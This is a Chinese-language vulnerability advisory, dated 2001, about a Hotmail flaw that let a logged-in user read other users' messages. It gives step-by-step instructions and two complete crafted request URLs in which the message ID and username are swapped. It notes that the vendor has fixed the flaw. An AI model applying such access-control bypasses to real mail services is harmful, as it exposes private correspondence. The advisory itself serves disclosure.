Hotmail 信件内容泄露漏洞
发布日期:2001-08-18
更新日期:2001-08-23
受影响系统:
http://www.hotmail.com
描述:
Hotmail存在一个安全漏洞,攻击者可以阅读任何人的信件。
按照下面的三个步骤可以阅读其它用户在Hotmail的信件:
1.用你在Hotmail的帐号登陆进入系统
2.用下面的链接来 阅读特定用户的信件:
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%2f
%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22
%26start%3d9702%26len%3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26log
in%3dusername%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
或者
http://lw14fd.law14.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%
2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e
22%26start%3d9702%26len%3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26l
ogin%3dusername%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
修改MSG943322803%2e16 (消息ID)
username (帐号)
即可。
如果你不想阅读信件的原始信息,可以去掉“%26raw%3d0”,如果你不希望Hotmail的
信息显示在顶部,可以去掉“&hm___fl=attrd&domain=hotmail.com”。
3.完成。如果你输入了和帐号对应的正确消息ID,那么你就会看到该用户的信件。
<*来源:wAwAsAn4 (
wAwAsAn4@root-core.com)
参考:
www.root-core.com
*>
建议:
目前厂商已经修复了这个漏洞
浏览次数:3540
严重程度:0(网友投票)